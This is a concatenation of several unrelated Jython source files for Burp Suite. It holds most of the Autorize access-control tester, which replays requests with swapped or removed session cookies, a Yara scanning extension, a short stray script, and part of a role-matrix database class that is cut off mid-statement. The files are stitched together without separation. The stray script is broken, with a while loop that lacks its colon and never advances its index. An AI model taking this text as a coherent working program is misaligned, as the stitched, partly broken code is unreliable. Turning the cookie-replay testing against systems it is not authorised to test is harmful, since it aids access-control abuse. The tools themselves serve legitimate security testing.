self._callbacks.createMessageEditor(self, False) self._responseViewer = self._callbacks.createMessageEditor(self, False) self._originalrequestViewer = self._callbacks.createMessageEditor(self, False) self._originalresponseViewer = self._callbacks.createMessageEditor(self, False) self._unauthorizedrequestViewer = self._callbacks.createMessageEditor(self, False) self._unauthorizedresponseViewer = self._callbacks.createMessageEditor(self, False) self.tabs.addTab("Modified Request", self._requestViewer.getComponent()) self.tabs.addTab("Modified Response", self._responseViewer.getComponent()) self.tabs.addTab("Original Request", self._originalrequestViewer.getComponent()) self.tabs.addTab("Original Response", self._originalresponseViewer.getComponent()) self.tabs.addTab("Unauthenticated Request", self._unauthorizedrequestViewer.getComponent()) self.tabs.addTab("Unauthenticated Response", self._unauthorizedresponseViewer.getComponent()) self.tabs.addTab("Configuration", self.pnl) self.tabs.setSelectedIndex(6) self._splitpane.setRightComponent(self.tabs) def initCallbacks(self): # ## init callbacks # # customize our UI components self._callbacks.customizeUiComponent(self._splitpane) self._callbacks.customizeUiComponent(self.logTable) self._callbacks.customizeUiComponent(self.scrollPane) self._callbacks.customizeUiComponent(self.tabs) self._callbacks.customizeUiComponent(self.filtersTabs) self._callbacks.registerContextMenuFactory(self) # add the custom tab to Burp's UI self._callbacks.addSuiteTab(self) # ## Events functions # def startOrStop(self, event): if self.startButton.getText() == "Autorize is off": self.startButton.setText("Autorize is on") self.startButton.setBackground(Color.GREEN) self.intercept = 1 self._callbacks.registerHttpListener(self) else: self.startButton.setText("Autorize is off") self.startButton.setBackground(Color(255, 100, 91, 255)) self.intercept = 0 self._callbacks.removeHttpListener(self) def addEDFilter(self, event): typeName = self.EDType.getSelectedItem().split(":")[0] self.EDModel.addElement(typeName + ": " + self.EDText.getText()) def delEDFilter(self, event): index = self.EDList.getSelectedIndex(); if not index == -1: self.EDModel.remove(index); def addEDFilterUnauth(self, event): typeName = self.EDTypeUnauth.getSelectedItem().split(":")[0] self.EDModelUnauth.addElement(typeName + ": " + self.EDTextUnauth.getText()) def delEDFilterUnauth(self, event): index = self.EDListUnauth.getSelectedIndex(); if not index == -1: self.EDModelUnauth.remove(index); def addIFFilter(self, event): typeName = self.IFType.getSelectedItem().split(":")[0] self.IFModel.addElement(typeName + ": " + self.IFText.getText()) def delIFFilter(self, event): index = self.IFList.getSelectedIndex(); if not index == -1: self.IFModel.remove(index); def clearList(self, event): self._lock.acquire() oldSize = self._log.size() self._log.clear() self.fireTableRowsDeleted(0, oldSize - 1) self._lock.release() def export(self, event): if self.exportType.getSelectedItem() == "HTML": self.exportToHTML() else: self.exportToCSV() def exportToCSV(self): parentFrame = JFrame() fileChooser = JFileChooser() fileChooser.setSelectedFile(File("AutorizeReprort.csv")); fileChooser.setDialogTitle("Save Autorize Report") userSelection = fileChooser.showSaveDialog(parentFrame) if userSelection == JFileChooser.APPROVE_OPTION: fileToSave = fileChooser.getSelectedFile() enforcementStatusFilter = self.exportES.getSelectedItem() csvContent = "id\tURL\tOriginal length\tModified length\tUnauthorized length\tAuthorization Enforcement Status\tAuthorization Unauthenticated Status\n" for i in range(0,self._log.size()): if enforcementStatusFilter == "All Statuses": csvContent += "%d\t%s\t%d\t%d\t%d\t%s\t%s\n" % (self._log.get(i)._id,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, self._log.get(i)._enfocementStatus, self._log.get(i)._enfocementStatusUnauthorized) else: if (enforcementStatusFilter == self._log.get(i)._enfocementStatus) or (enforcementStatusFilter == self._log.get(i)._enfocementStatusUnauthorized): csvContent += "%d\t%s\t%d\t%d\t%d\t%s\t%s\n" % (self._log.get(i)._id,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, self._log.get(i)._enfocementStatus, self._log.get(i)._enfocementStatusUnauthorized) f = open(fileToSave.getAbsolutePath(), 'w') f.writelines(csvContent) f.close() def exportToHTML(self): parentFrame = JFrame() fileChooser = JFileChooser() fileChooser.setSelectedFile(File("AutorizeReprort.html")); fileChooser.setDialogTitle("Save Autorize Report") userSelection = fileChooser.showSaveDialog(parentFrame) if userSelection == JFileChooser.APPROVE_OPTION: fileToSave = fileChooser.getSelectedFile() enforcementStatusFilter = self.exportES.getSelectedItem() htmlContent = """<html><title>Autorize Report by Barak Tawily</title> <style> .datagrid table { border-collapse: collapse; text-align: left; width: 100%; } .datagrid {font: normal 12px/150% Arial, Helvetica, sans-serif; background: #fff; overflow: hidden; border: 1px solid #006699; -webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; } .datagrid table td, .datagrid table th { padding: 3px 10px; } .datagrid table thead th {background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; color:#FFFFFF; font-size: 15px; font-weight: bold; border-left: 1px solid #0070A8; } .datagrid table thead th:first-child { border: none; }.datagrid table tbody td { color: #00496B; border-left: 1px solid #E1EEF4;font-size: 12px;font-weight: normal; }.datagrid table tbody .alt td { background: #E1EEF4; color: #00496B; }.datagrid table tbody td:first-child { border-left: none; }.datagrid table tbody tr:last-child td { border-bottom: none; }.datagrid table tfoot td div { border-top: 1px solid #006699;background: #E1EEF4;} .datagrid table tfoot td { padding: 0; font-size: 12px } .datagrid table tfoot td div{ padding: 2px; }.datagrid table tfoot td ul { margin: 0; padding:0; list-style: none; text-align: right; }.datagrid table tfoot li { display: inline; }.datagrid table tfoot li a { text-decoration: none; display: inline-block; padding: 2px 8px; margin: 1px;color: #FFFFFF;border: 1px solid #006699;-webkit-border-radius: 3px; -moz-border-radius: 3px; border-radius: 3px; background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #006699), color-stop(1, #00557F) );background:-moz-linear-gradient( center top, #006699 5%, #00557F 100% );filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#006699', endColorstr='#00557F');background-color:#006699; }.datagrid table tfoot ul.active, .datagrid table tfoot ul a:hover { text-decoration: none;border-color: #006699; color: #FFFFFF; background: none; background-color:#00557F;}div.dhtmlx_window_active, div.dhx_modal_cover_dv { position: fixed !important; } table { width: 100%; table-layout: fixed; } td { border: 1px solid #35f; overflow: hidden; text-overflow: ellipsis; } td.a { width: 13%; white-space: nowrap; } td.b { width: 9%; word-wrap: break-word; } </style> <body> <h1>Autorize Report<h1> <div class="datagrid"><table> <thead><tr><th width=\"3%\">ID</th><th width=\"48%\">URL</th><th width=\"9%\">Original length</th><th width=\"9%\">Modified length</th><th width=\"9%\">Unauthorized length</th><th width=\"11%\">Authorization Enforcement Status</th><th width=\"11%\">Authorization Unauthenticated Status</th></tr></thead> <tbody>""" for i in range(0,self._log.size()): color_modified = "" if self._log.get(i)._enfocementStatus == self._enfocementStatuses[0]: color_modified = "red" if self._log.get(i)._enfocementStatus == self._enfocementStatuses[1]: color_modified = "yellow" if self._log.get(i)._enfocementStatus == self._enfocementStatuses[2]: color_modified = "LawnGreen" color_unauthorized = "" if self._log.get(i)._enfocementStatusUnauthorized == self._enfocementStatuses[0]: color_unauthorized = "red" if self._log.get(i)._enfocementStatusUnauthorized == self._enfocementStatuses[1]: color_unauthorized = "yellow" if self._log.get(i)._enfocementStatusUnauthorized == self._enfocementStatuses[2]: color_unauthorized = "LawnGreen" if enforcementStatusFilter == "All Statuses": htmlContent += "<tr><td>%d</td><td><a href=\"%s\">%s</a></td><td>%d</td><td>%d</td><td>%d</td><td bgcolor=\"%s\">%s</td><td bgcolor=\"%s\">%s</td></tr>" % (self._log.get(i)._id,self._log.get(i)._url,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, color_modified, self._log.get(i)._enfocementStatus, color_unauthorized, self._log.get(i)._enfocementStatusUnauthorized) else: if (enforcementStatusFilter == self._log.get(i)._enfocementStatus) or (enforcementStatusFilter == self._log.get(i)._enfocementStatusUnauthorized): htmlContent += "<tr><td>%d</td><td><a href=\"%s\">%s</a></td><td>%d</td><td>%d</td><td>%d</td><td bgcolor=\"%s\">%s</td><td bgcolor=\"%s\">%s</td></tr>" % (self._log.get(i)._id,self._log.get(i)._url,self._log.get(i)._url, len(self._log.get(i)._originalrequestResponse.getResponse()) if self._log.get(i)._originalrequestResponse != None else 0, len(self._log.get(i)._requestResponse.getResponse()) if self._log.get(i)._requestResponse != None else 0, len(self._log.get(i)._unauthorizedRequestResponse.getResponse()) if self._log.get(i)._unauthorizedRequestResponse != None else 0, color_modified, self._log.get(i)._enfocementStatus, color_unauthorized, self._log.get(i)._enfocementStatusUnauthorized) htmlContent += "</tbody></table></div></body></html>" f = open(fileToSave.getAbsolutePath(), 'w') f.writelines(htmlContent) f.close() # # implement IContextMenuFactory # def createMenuItems(self, invocation): responses = invocation.getSelectedMessages(); if responses > 0: ret = LinkedList() requestMenuItem = JMenuItem("Send request to Autorize"); cookieMenuItem = JMenuItem("Send cookie to Autorize"); requestMenuItem.addActionListener(handleMenuItems(self,responses[0], "request")) cookieMenuItem.addActionListener(handleMenuItems(self, responses[0], "cookie")) ret.add(requestMenuItem); ret.add(cookieMenuItem); return(ret); return null; # # implement ITab # def getTabCaption(self): return "Autorize" def getUiComponent(self): return self._splitpane # # extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 7 def getColumnName(self, columnIndex): if columnIndex == 0: return "ID" if columnIndex == 1: return "URL" if columnIndex == 2: return "Orig. Length" if columnIndex == 3: return "Modif. Length" if columnIndex == 4: return "Unauth. Length" if columnIndex == 5: return "Authorization Enforcement Status" if columnIndex == 6: return "Authorization Unauth. Status" return "" def getColumnClass(self, columnIndex): if columnIndex == 0: return Integer if columnIndex == 1: return String if columnIndex == 2: return Integer if columnIndex == 3: return Integer if columnIndex == 4: return Integer if columnIndex == 5: return String if columnIndex == 6: return String return String def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._id if columnIndex == 1: return logEntry._url.toString() if columnIndex == 2: return len(logEntry._originalrequestResponse.getResponse()) if columnIndex == 3: return len(logEntry._requestResponse.getResponse()) if columnIndex == 4: if logEntry._unauthorizedRequestResponse != None: return len(logEntry._unauthorizedRequestResponse.getResponse()) else: #return "-" return 0 if columnIndex == 5: return logEntry._enfocementStatus if columnIndex == 6: return logEntry._enfocementStatusUnauthorized return "" # # implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse() # # implement IHttpListener # def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo): #if (self.intercept == 1) and (toolFlag != self._callbacks.TOOL_EXTENDER): if (self.intercept == 1) and (toolFlag == self._callbacks.TOOL_PROXY): if self.prevent304.isSelected(): if messageIsRequest: requestHeaders = list(self._helpers.analyzeRequest(messageInfo).getHeaders()) newHeaders = list() found = 0 for header in requestHeaders: if not "If-None-Match:" in header and not "If-Modified-Since:" in header: newHeaders.append(header) found = 1 if found == 1: requestInfo = self._helpers.analyzeRequest(messageInfo) bodyBytes = messageInfo.getRequest()[requestInfo.getBodyOffset():] bodyStr = self._helpers.bytesToString(bodyBytes) messageInfo.setRequest(self._helpers.buildHttpMessage(newHeaders, bodyStr)) if not messageIsRequest: if not self.replaceString.getText() in self._helpers.analyzeRequest(messageInfo).getHeaders(): if self.ignore304.isSelected(): firstHeader = self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders()[0] if "304" in firstHeader or "204" in firstHeader: return if self.IFList.getModel().getSize() == 0: self.checkAuthorization(messageInfo,self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected()) else: urlString = str(self._helpers.analyzeRequest(messageInfo).getUrl()) do_the_check = 1 for i in range(0,self.IFList.getModel().getSize()): if self.IFList.getModel().getElementAt(i).split(":")[0] == "Scope items only": currentURL = URL(urlString) if not self._callbacks.isInScope(currentURL): do_the_check = 0 if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Contains (simple string)": if self.IFList.getModel().getElementAt(i)[30:] not in urlString: do_the_check = 0 if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Contains (regex)": regex_string = self.IFList.getModel().getElementAt(i)[22:] p = re.compile(regex_string, re.IGNORECASE) if not p.search(urlString): do_the_check = 0 if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Not Contains (simple string)": if self.IFList.getModel().getElementAt(i)[34:] in urlString: do_the_check = 0 if self.IFList.getModel().getElementAt(i).split(":")[0] == "URL Not Contains (regex)": regex_string = self.IFList.getModel().getElementAt(i)[26:] p = re.compile(regex_string, re.IGNORECASE) if p.search(urlString): do_the_check = 0 if do_the_check: self.checkAuthorization(messageInfo,self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected()) return def sendRequestToAutorizeWork(self,messageInfo): if messageInfo.getResponse() == None: message = self.makeMessage(messageInfo,False,False) requestResponse = self.makeRequest(messageInfo, message) self.checkAuthorization(requestResponse,self._helpers.analyzeResponse(requestResponse.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected()) else: self.checkAuthorization(messageInfo,self._helpers.analyzeResponse(messageInfo.getResponse()).getHeaders(),self.doUnauthorizedRequest.isSelected()) def makeRequest(self, messageInfo, message): requestURL = self._helpers.analyzeRequest(messageInfo).getUrl() return self._callbacks.makeHttpRequest(self._helpers.buildHttpService(str(requestURL.getHost()), int(requestURL.getPort()), requestURL.getProtocol() == "https"), message) def makeMessage(self, messageInfo, removeOrNot, authorizeOrNot): requestInfo = self._helpers.analyzeRequest(messageInfo) headers = requestInfo.getHeaders() if removeOrNot: headers = list(headers) removeHeaders = ArrayList() removeHeaders.add(self.replaceString.getText()[0:self.replaceString.getText().index(":")]) for header in headers[:]: for removeHeader in removeHeaders: if removeHeader in header: headers.remove(header) if authorizeOrNot: headers.append(self.replaceString.getText()) msgBody = messageInfo.getRequest()[requestInfo.getBodyOffset():] return self._helpers.buildHttpMessage(headers, msgBody) def checkBypass(self,oldStatusCode,newStatusCode,oldContentLen,newContentLen,filters,requestResponse): analyzedResponse = self._helpers.analyzeResponse(requestResponse.getResponse()) impression = "" if oldStatusCode == newStatusCode: if oldContentLen == newContentLen: impression = self._enfocementStatuses[0] else: auth_enforced = 1 for filter in filters: if str(filter).startswith("Headers (simple string): "): if not(filter[25:] in self._helpers.bytesToString(requestResponse.getResponse()[0:analyzedResponse.getBodyOffset()])): auth_enforced = 0 if str(filter).startswith("Headers (regex): "): regex_string = filter[17:] p = re.compile(regex_string, re.IGNORECASE) if not p.search(self._helpers.bytesToString(requestResponse.getResponse()[0:analyzedResponse.getBodyOffset()])): auth_enforced = 0 if str(filter).startswith("Body (simple string): "): if not(filter[22:] in self._helpers.bytesToString(requestResponse.getResponse()[analyzedResponse.getBodyOffset():])): auth_enforced = 0 if str(filter).startswith("Body (regex): "): regex_string = filter[14:] p = re.compile(regex_string, re.IGNORECASE) if not p.search(self._helpers.bytesToString(requestResponse.getResponse()[analyzedResponse.getBodyOffset():])): auth_enforced = 0 if str(filter).startswith("Full request (simple string): "): if not(filter[30:] in self._helpers.bytesToString(requestResponse.getResponse())): auth_enforced = 0 if str(filter).startswith("Full request (regex): "): regex_string = filter[22:] p = re.compile(regex_string, re.IGNORECASE) if not p.search(self._helpers.bytesToString(requestResponse.getResponse())): auth_enforced = 0 if str(filter).startswith("Content-Length: "): if newContentLen != filter: auth_enforced = 0 if auth_enforced: impression = self._enfocementStatuses[2] else: impression = self._enfocementStatuses[1] else: impression = self._enfocementStatuses[2] return impression def checkAuthorization(self, messageInfo, originalHeaders, checkUnauthorized): message = self.makeMessage(messageInfo,True,True) requestResponse = self.makeRequest(messageInfo, message) analyzedResponse = self._helpers.analyzeResponse(requestResponse.getResponse()) oldStatusCode = originalHeaders[0] newStatusCode = analyzedResponse.getHeaders()[0] oldContentLen = self.getContentLength(originalHeaders) newContentLen = self.getContentLength(analyzedResponse.getHeaders()) # Check unauthorized request if checkUnauthorized: messageUnauthorized = self.makeMessage(messageInfo,True,False) requestResponseUnauthorized = self.makeRequest(messageInfo, messageUnauthorized) analyzedResponseUnauthorized = self._helpers.analyzeResponse(requestResponseUnauthorized.getResponse()) statusCodeUnauthorized = analyzedResponseUnauthorized.getHeaders()[0] contentLenUnauthorized = self.getContentLength(analyzedResponseUnauthorized.getHeaders()) EDFilters = self.EDModel.toArray() impression = self.checkBypass(oldStatusCode,newStatusCode,oldContentLen,newContentLen,EDFilters,requestResponse) if checkUnauthorized: EDFiltersUnauth = self.EDModelUnauth.toArray() impressionUnauthorized = self.checkBypass(oldStatusCode,statusCodeUnauthorized,oldContentLen,contentLenUnauthorized,EDFiltersUnauth,requestResponseUnauthorized) self._lock.acquire() row = self._log.size() if checkUnauthorized: self._log.add(LogEntry(self.currentRequestNumber,self._callbacks.saveBuffersToTempFiles(requestResponse), self._helpers.analyzeRequest(requestResponse).getUrl(),messageInfo,impression,self._callbacks.saveBuffersToTempFiles(requestResponseUnauthorized),impressionUnauthorized)) # same requests not include again. else: self._log.add(LogEntry(self.currentRequestNumber,self._callbacks.saveBuffersToTempFiles(requestResponse), self._helpers.analyzeRequest(requestResponse).getUrl(),messageInfo,impression,None,"Disabled")) # same requests not include again. self.fireTableRowsInserted(row, row) self.currentRequestNumber = self.currentRequestNumber + 1 self._lock.release() def getContentLength(self, analyzedResponseHeaders): for header in analyzedResponseHeaders: if "Content-Length:" in header: return header; return "null" def getCookieFromMessage(self, messageInfo): headers = list(self._helpers.analyzeRequest(messageInfo.getRequest()).getHeaders()) for header in headers: if "Cookie:" in header: return header return None
class BurpExtender(IBurpExtender, ITab, IMessageEditorController, IContextMenuFactory, ActionListener, AbstractTableModel, Runnable): # # Implement IBurpExtender # def registerExtenderCallbacks(self, callbacks): # Initialize the global stdout stream global stdout # Keep a reference to our callbacks object self._callbacks = callbacks # Obtain an extension helpers object self._helpers = callbacks.getHelpers() # set our extension name callbacks.setExtensionName("Burpsuite Yara Scanner") # Create the log and a lock on which to synchronize when adding log entries self._log = ArrayList() self._lock = Lock() # main split pane splitpane = JSplitPane(JSplitPane.VERTICAL_SPLIT) # table of log entries logTable = Table(self) scrollPane = JScrollPane(logTable) splitpane.setLeftComponent(scrollPane) # Options panel optionsPanel = JPanel() optionsPanel.setLayout(GridBagLayout()) constraints = GridBagConstraints() yara_exe_label = JLabel("Yara Executable Location:") constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 0 constraints.gridy = 0 optionsPanel.add(yara_exe_label, constraints) self._yara_exe_txtField = JTextField(25) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 0 optionsPanel.add(self._yara_exe_txtField, constraints) yara_rules_label = JLabel("Yara Rules File:") constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 0 constraints.gridy = 1 optionsPanel.add(yara_rules_label, constraints) self._yara_rules_files = Vector() self._yara_rules_files.add("< None >") self._yara_rules_fileList = JList(self._yara_rules_files) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 1 optionsPanel.add(self._yara_rules_fileList, constraints) self._yara_rules_select_files_button = JButton("Select Files") self._yara_rules_select_files_button.addActionListener(self) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 2 optionsPanel.add(self._yara_rules_select_files_button, constraints) self._yara_clear_button = JButton("Clear Yara Results Table") self._yara_clear_button.addActionListener(self) constraints.fill = GridBagConstraints.HORIZONTAL constraints.gridx = 1 constraints.gridy = 3 optionsPanel.add(self._yara_clear_button, constraints) # Tabs with request/response viewers viewerTabs = JTabbedPane() self._requestViewer = callbacks.createMessageEditor(self, False) self._responseViewer = callbacks.createMessageEditor(self, False) viewerTabs.addTab("Request", self._requestViewer.getComponent()) viewerTabs.addTab("Response", self._responseViewer.getComponent()) splitpane.setRightComponent(viewerTabs) # Tabs for the Yara output and the Options self._mainTabs = JTabbedPane() self._mainTabs.addTab("Yara Output", splitpane) self._mainTabs.addTab("Options", optionsPanel) # customize our UI components callbacks.customizeUiComponent(splitpane) callbacks.customizeUiComponent(logTable) callbacks.customizeUiComponent(scrollPane) callbacks.customizeUiComponent(viewerTabs) callbacks.customizeUiComponent(self._mainTabs) # add the custom tab to Burp's UI callbacks.addSuiteTab(self) # add ourselves as a context menu factory callbacks.registerContextMenuFactory(self) # Custom Menu Item self.menuItem = JMenuItem("Scan with Yara") self.menuItem.addActionListener(self) # obtain our output stream stdout = PrintWriter(callbacks.getStdout(), True) # Print a startup notification stdout.println("Burpsuite Yara scanner initialized.") # # Implement ITab # def getTabCaption(self): return "Yara" def getUiComponent(self): return self._mainTabs # # Implement IContextMenuFactory # def createMenuItems(self, invocation): if invocation.getInvocationContext() == invocation.CONTEXT_TARGET_SITE_MAP_TREE: self.requestResponses = invocation.getSelectedMessages() return [self.menuItem] else: self.requestResponses = None return None # # Implement Action # def actionPerformed(self, actionEvent): global yara_rules global yara_path if actionEvent.getSource() is self.menuItem: yara_path = self._yara_exe_txtField.getText() yara_rules = self._yara_rules_files t = Thread(self) t.start() elif actionEvent.getSource() is self._yara_clear_button: # Delete the LogEntry objects from the log row = self._log.size() self._lock.acquire() self._log.clear() # Update the Table self.fireTableRowsDeleted(0, row) # Clear data regarding any selected LogEntry objects from the request / response viewers self._requestViewer.setMessage([], True) self._responseViewer.setMessage([], False) self._currentlyDisplayedItem = None self._lock.release() elif actionEvent.getSource() is self._yara_rules_select_files_button: fileChooser = JFileChooser() yarFilter = FileNameExtensionFilter("Yara Rules", ["yar"]) fileChooser.addChoosableFileFilter(yarFilter) fileChooser.setFileFilter(yarFilter) fileChooser.setMultiSelectionEnabled(True) fileChooser.setFileSelectionMode(JFileChooser.FILES_ONLY) ret = fileChooser.showOpenDialog(None) if ret == JFileChooser.APPROVE_OPTION: self._yara_rules_files.clear() for file in fileChooser.getSelectedFiles(): self._yara_rules_files.add(file.getPath()) self._yara_rules_fileList.setListData(self._yara_rules_files) else: stdout.println("Unknown Event Received.") # # Implement Runnable # def run(self): self.yaraScan() # # Extend AbstractTableModel # def getRowCount(self): try: return self._log.size() except: return 0 def getColumnCount(self): return 2 def getColumnName(self, columnIndex): if columnIndex == 0: return "Rule Name" if columnIndex == 1: return "URL" return "" def getValueAt(self, rowIndex, columnIndex): logEntry = self._log.get(rowIndex) if columnIndex == 0: return logEntry._ruleName if columnIndex == 1: return logEntry._url.toString() return "" # # Implement IMessageEditorController # this allows our request/response viewers to obtain details about the messages being displayed # def getHttpService(self): return self._currentlyDisplayedItem.getHttpService() def getRequest(self): return self._currentlyDisplayedItem.getRequest() def getResponse(self): return self._currentlyDisplayedItem.getResponse() # # Implement the Yara scanning logic # def yaraScan(self): # If stdout has not yet been initialized, punt. if stdout is None: return # If the location of the yara executable and rules files are NULL, punt. if yara_rules is None or yara_path is None or yara_rules.size() == 0 or yara_rules.contains("< None >") or len(yara_path) == 0: JOptionPane.showMessageDialog(None, "Error: Please specify the path to the yara executable and rules file in " "the options tab.") return # If iRequestResponses is None, punt. if self.requestResponses is None: JOptionPane.showMessageDialog(None, "Error: No Request/Responses were selected.") return else: stdout.println("Processing %d item(s)." % len(self.requestResponses)) # Get the OS temp folder os_name = System.getProperty("os.name").lower() temp_folder = None if "linux" in os_name: temp_folder = "/tmp" elif "windows" in os_name: temp_folder = os.environ.get("TEMP") if temp_folder is None: temp_folder = os.environ.get("TMP") if temp_folder is None: stdout.println("Error: Could not determine TEMP folder location.") return # Keep track of the number of matches. matchCount = 0 # Process the site map selected messages for idx, iRequestResponse in enumerate(self.requestResponses): # Process the request request = iRequestResponse.getRequest() if request is not None: if len(request) > 0: try: # Yara does not support scanning from stdin so we will need to create a temp file and scan it req_filename = os.path.join(temp_folder, "req_" + str(idx) + ".tmp") req_file = open(req_filename, "wb") req_file.write(request) req_file.close() for rules in yara_rules: yara_req_output = subprocess.check_output([yara_path, rules, req_filename]) if yara_req_output is not None and len(yara_req_output) > 0: ruleName = (yara_req_output.split())[0] self._lock.acquire() row = self._log.size() # TODO: Don't add duplicate items to the table self._log.add(LogEntry(ruleName, iRequestResponse, self._helpers.analyzeRequest(iRequestResponse).getUrl())) self.fireTableRowsInserted(row, row) self._lock.release() matchCount += 1 except Exception as e: JOptionPane.showMessageDialog(None, "Error running Yara. Please check your configuration and rules.") return finally: # Remove the temp file if req_file is not None: req_file.close() os.remove(req_filename) # Process the response response = iRequestResponse.getResponse() if response is not None: if len(response) > 0: try: # Yara does not support scanning from stdin so we will need to create a temp file and scan it resp_filename = os.path.join(temp_folder, "resp_" + str(idx) + ".tmp") resp_file = open(resp_filename, "wb") resp_file.write(response) resp_file.close() for rules in yara_rules: yara_resp_output = subprocess.check_output([yara_path, rules, resp_filename]) if yara_resp_output is not None and len(yara_resp_output) > 0: ruleName = (yara_resp_output.split())[0] self._lock.acquire() row = self._log.size() # TODO: Don't add duplicate items to the table self._log.add(LogEntry(ruleName, iRequestResponse, self._helpers.analyzeRequest(iRequestResponse).getUrl())) self.fireTableRowsInserted(row, row) self._lock.release() matchCount += 1 except Exception as e: JOptionPane.showMessageDialog(None, "Error running Yara. Please check your configuration and rules.") return finally: # Remove the temp file if resp_file is not None: resp_file.close() os.remove(resp_filename) # Print a completion notification JOptionPane.showMessageDialog(None, "Yara scanning complete. %d rule(s) matched." % matchCount)
from com.embraiz.grap.catcher import JythonExecutor from java.util import ArrayList print "Python start" data = JythonExecutor.getData() projects = data.get("projects"); list = ArrayList(data.values) size = list.size() index = 0 while(index < size) print "包组"+str(index) print list.get(index) print "Python end"
class MatrixDB(): def __init__(self): # Holds all custom data # TODO: consider moving these constants to a different class self.STATIC_USER_TABLE_COLUMN_COUNT = 3 self.STATIC_MESSAGE_TABLE_COLUMN_COUNT = 3 self.LOAD_TIMEOUT = 3.0 self.lock = Lock() self.arrayOfMessages = ArrayList() self.arrayOfRoles = ArrayList() self.arrayOfUsers = ArrayList() self.deletedUserCount = 0 self.deletedRoleCount = 0 self.deletedMessageCount = 0 # Returns the index of the user, whether its new or not def getOrCreateUser(self, name, token=""): self.lock.acquire() userIndex = -1 # Check if User already exits for i in self.getActiveUserIndexes(): if self.arrayOfUsers[i]._name == name: userIndex = i # Add new User if userIndex < 0: userIndex = self.arrayOfUsers.size() self.arrayOfUsers.add(UserEntry(userIndex, userIndex - self.deletedUserCount, name, token)) # Add all existing roles as unchecked for roleIndex in self.getActiveRoleIndexes(): self.arrayOfUsers[userIndex].addRoleByIndex(roleIndex) self.lock.release() return userIndex # Returns the index of the role, whether its new or not def getOrCreateRole(self, role): self.lock.acquire() roleIndex = -1 # Check if Role already exists for i in self.getActiveRoleIndexes(): if self.arrayOfRoles[i]._name == role: roleIndex = i # Add new Role if roleIndex < 0: roleIndex = self.arrayOfRoles.size() self.arrayOfRoles.add(RoleEntry(roleIndex, roleIndex + self.STATIC_MESSAGE_TABLE_COLUMN_COUNT - self.deletedRoleCount, roleIndex + self.STATIC_USER_TABLE_COLUMN_COUNT - self.deletedRoleCount, role)) # Add new role to each existing user as unchecked for userIndex in self.getActiveUserIndexes(): self.arrayOfUsers[userIndex].addRoleByIndex(roleIndex) # Add new role to each existing message as unchecked for messageIndex in self.getActiveMessageIndexes(): self.arrayOfMessages[messageIndex].addRoleByIndex(roleIndex) self.lock.release() return roleIndex # Returns the Row of the new message # Unlike Users and Roles, allow duplicate messages def createNewMessage(self,messagebuffer,url): self.lock.acquire() messageIndex = self.arrayOfMessages.size() self.arrayOfMessages.add(MessageEntry(messageIndex, messageIndex - self.deletedMessageCount, messagebuffer, url)) # Add all existing roles as unchecked for roleIndex in self.getActiveRoleIndexes(): self.arrayOfMessages[messageIndex].addRoleByIndex(roleIndex) self.lock.release() return messageIndex def clear(self): self.lock.acquire() self.arrayOfMessages = ArrayList() self.arrayOfRoles = ArrayList() self.arrayOfUsers = ArrayList() self.deletedUserCount = 0 self.deletedRoleCount = 0 self.deletedMessageCount = 0 self.lock.release() def load(self, db, extender): def loadRequestResponse(index, callbacks, helpers, host, port, protocol, requestData): # TODO tempRequestResont is now an array # because of a timing issue, where if this thread times out, it will still update temprequestresponse later on.. # TODO also this still locks the UI until all requests suceed or time out... try: # Due to Burp Extension API, must create a original request for all messages service = helpers.buildHttpService(host, port, protocol) if service: self.tempRequestResponse[index] = callbacks.makeHttpRequest(service,requestData) except java.lang.RuntimeException: # Catches if there is a bad host # TODO there is an unhandled exception thrown in the stack trace here? return except: traceback.print_exc(file=callbacks.getStderr()) def replaceDomain(requestData, oldDomain, newDomain): reqstr = StringUtil.fromBytes(requestData) reqstr = reqstr.replace(oldDomain, newDomain) newreq = StringUtil.toBytes(reqstr) return newreq callbacks = extender._callbacks helpers = extender._helpers self.lock.acquire() self.arrayOfRoles = db.arrayOfRoles self.arrayOfUsers = db.arrayOfUsers self.deletedUserCount = 